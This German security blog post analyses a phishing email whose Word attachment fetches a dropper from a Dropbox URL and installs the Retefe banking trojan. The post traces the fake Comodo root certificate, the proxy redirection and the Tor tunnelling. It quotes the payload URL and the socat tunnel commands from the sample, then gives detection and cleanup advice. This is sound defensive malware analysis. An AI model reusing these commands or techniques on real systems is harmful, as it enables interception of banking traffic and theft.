Bankentrojaner im Word Dokument

23. Juni 2017 · Malware Phishing Social Engineering

Wie wohl die meisten E-Mail-Benutzer erhalten wir regelmässig seltsame Mails mit interessanten Anhängen. In diesem Beitrag schauen wir eine solche E-Mail genauer an – und folgen dem Schadcode bis zum eigentlichen Bankentrojaner.

Bankentrojaner im Posteingang

Im Prinzip sollte sich diese E-Mail sehr schnell als dubios identifizieren lassen. Sie gibt im Text vor, von Shell zu stammen – aber bereits der Absender ist offensichtlich nicht Shell. Wie der Absender zustande kam, ist hier nicht das Thema: Es kann sich um eine Fälschung handeln oder das E-Mailkonto wurde kompromittiert. Im Übrigen ist uns nicht bekannt, dass man bei Shell auf Rechnung per E-Mail tanken könnte. Anhänge mit einer anderen Endung als .pdf sind grundsätzlich verdächtig – und auch PDF-Dokumente können Schadcode enthalten.

Phishing-Mail mit angeblichem Shell-Absender und Word-Anhang
Social Engineering E-Mail

Die Frequenz, mit der ähnliche E-Mails im Postfach eintreffen, legt aber den Schluss nahe, dass noch immer genügend Personen solche Dokumente öffnen. Schauen wir uns also an, was diesen Personen passiert.

Zuerst wurde die Datei Bestellung.docx aus dem Anhang bei virustotal.com hochgeladen. Gerade einmal 2 Virenscanner haben die Datei als bösartig erkannt.

VirusTotal-Resultat: nur 2 Scanner erkennen das Word-Dokument
Test eines bösartigen Word-Dokuments bei virustotal.com

Reverse Engineering

Im nächsten Schritt wurde das Office-Open-XML-Dokument entpackt und mit oledump.py der binäre Teil extrahiert.

Dump des binären Teils des Word-Dokuments
Dump des binären Teils

Man kann erkennen, dass eine Datei von Dropbox heruntergeladen und ausgeführt wird:

https://www.dropbox.com/s/ywr5mgrgqjdvlf7/Bezahlung.exe?dl=1

Die Datei Bezahlung.exe wurde anschliessend ebenfalls bei VirusTotal eingereicht. Diesmal hatten immerhin 12 von 62 Virenscannern etwas zu beanstanden – immer noch eine Erkennungsrate unter 20%.

VirusTotal-Resultat für Bezahlung.exe
Test einer bösartigen .exe-Datei bei virustotal.com

Was passiert, wenn Bezahlung.exe ausgeführt wird?

Zuerst wurden die ASCII-Zeichenketten aus Bezahlung.exe extrahiert. Das Meiste ist nicht lesbar – aber der Header eines WinRAR-SFX-Moduls ist deutlich erkennbar.

Strings-Dump zeigt Kopf eines WinRAR SFX Moduls
Kopf einer WinRAR-SFX-Datei

Im gleichen Dump ist zu sehen, dass durch das WinRAR-SFX eine Datei DYwpBcj9439550.js extrahiert und ausgeführt wird. Um diese genauer anzuschauen, wurde die SFX-Datei mit folgendem Befehl in eine normale ZIP-Datei umgewandelt:

zip -J Bezahlung.exe

Im resultierenden ZIP befindet sich erwartungsgemäss die Datei DYwpBcj9439550.js. Wie die Endung suggeriert, handelt es sich um JavaScript-Code. Die Analyse bei VirusTotal liefert ein erstaunliches Ergebnis: Wiederum schlagen nur zwei Virenscanner Alarm.

VirusTotal-Resultat für die extrahierte JavaScript-Datei
Test einer bösartigen JavaScript-Datei auf virustotal.com

Was macht der bösartige JavaScript-Code?

Wenig erstaunlich: Der Quellcode ist nicht eben gut lesbar respektive verschlüsselt.

Verschlüsselter JavaScript-Quellcode
Quellcode mit bösartigem JavaScript

Der Quellcode ist mehrfach verschlüsselt. Mit Online-Tools wie matthewfl.com/unPacker.html gelingt die Entschlüsselung jedoch relativ schnell.

Entschlüsseltes JavaScript-Payload (Ausschnitt)
Entschlüsseltes JavaScript-Payload (Ausschnitt)

Ins Auge sticht sofort, dass die Malware über das Tor-Netzwerk kommuniziert. Es sind vier .onion-Adressen hinterlegt:

Die kryptischen Strings mit den Namen ps, psf und pstp sind Base64-codierte Windows-PowerShell-Skripte. Decodiert man diese und sucht im Netz nach ähnlichem Code, findet man rasch Referenzen zum Retefe-Bankentrojaner. Dieser Verdacht erhärtet sich bei der Betrachtung weiterer Teile des Quellcodes.

JavaScript-Installationsroutine des Retefe-Bankentrojaners
JavaScript-Installationsroutine des Bankentrojaners

In der Installationsroutine wird zuerst in der Funktion TP.Install() eine portable Version des Tor-Browsers und socat von legitimen Quellen heruntergeladen. Anschliessend werden zwei neue ScheduledTasks eingerichtet, die jeweils mshta.exe mit folgenden Argumenten aufrufen:

socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:80,socksport=9050
socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:5588,socksport=9050

Damit wird auf den lokalen IPv4-TCP-Ports 5555 und 5588 ein SOCKS-Proxy eingerichtet, der den Datenverkehr über die hinterlegten .onion-Adressen ins Tor-Netzwerk weiterleitet.

Zwei neue Tasks werden eingerichtet
Zwei neue Tasks werden eingerichtet

In der Funktion this.CAB() werden danach Internet Explorer, Firefox und Chrome geschlossen. Anschliessend werden this.IIE() und this.IF() ausgeführt. Sie haben offensichtlich eine ähnliche Funktion für unterschiedliche Browser.

In this.IIE() wird mit Exp.IC() ein neues Root-Zertifikat installiert. Dies erlaubt es dem Angreifer, vermeintlich sichere TLS-verschlüsselte Verbindungen anzubieten, ohne dass im Browser eine Sicherheitswarnung erscheint. Das Zertifikat tarnt sich unter dem bekannten Namen Comodo. Das X.509-codierte Zertifikat lässt sich beispielsweise mit sslshopper.com/certificate-decoder.html lesen.

Gefälschtes Comodo-Root-Zertifikat
Gefälschtes Comodo-Root-Zertifikat

Wer dieses Zertifikat im System oder im Browser installiert hat, sollte es entfernen. Vorsicht: Comodo ist eine legitime Zertifizierungsstelle. Es darf nur exakt dieses Zertifikat entfernt werden, nicht etwa alle Comodo-Zertifikate. Dieser Schritt hilft natürlich nur, wenn Zertifikatswarnungen im Browser nicht einfach ignoriert werden.

Im nächsten Installationsschritt nimmt Exp.InstallPac() zwei Änderungen an der Registry vor:

Von nun an holt sich der Internet Explorer seine Konfiguration beim Start jeweils über das Tor-Netzwerk bei den Malwarelieferanten. Die Angreifer können damit beliebige Teile des Internetverkehrs über bösartige Server leiten und dank dem installierten Root-Zertifikat den ganzen Datenverkehr mitlesen und verändern. Dazu gehören auch vermeintlich sichere Verbindungen zu Onlinebanking-Portalen – und in diesem Fall schützt auch eine 2-Faktor-Authentisierung nicht.

Detektion des Bankentrojaners

Folgende Indikatoren deuten auf eine Retefe-Infektion hin:

Bei positivem Befund: System isolieren, Zertifikat entfernen, Proxy-Einstellungen zurücksetzen und sämtliche Banking-Passwörter ändern.

Fazit

Keine seltsamen E-Mails öffnen. Ob es sich bei diesem Stück Malware um eine weitere Version des Retefe-Bankentrojaners handelt oder ob sich andere Kriminelle bloss Teile des Codes geborgt haben, ist letztlich belanglos.

Schutz vor solchen Angriffen bieten Virenscanner nur sehr bedingt. Umso wichtiger ist es, dass Benutzer im Bereich der IT-Sicherheit sensibilisiert werden – durch Schulungen und regelmässige praktische Übungen, etwa mit harmlosen Test-Phishing-Mails. So lernen Mitarbeitende, woran sich Phishing erkennen lässt.

Alle Beiträge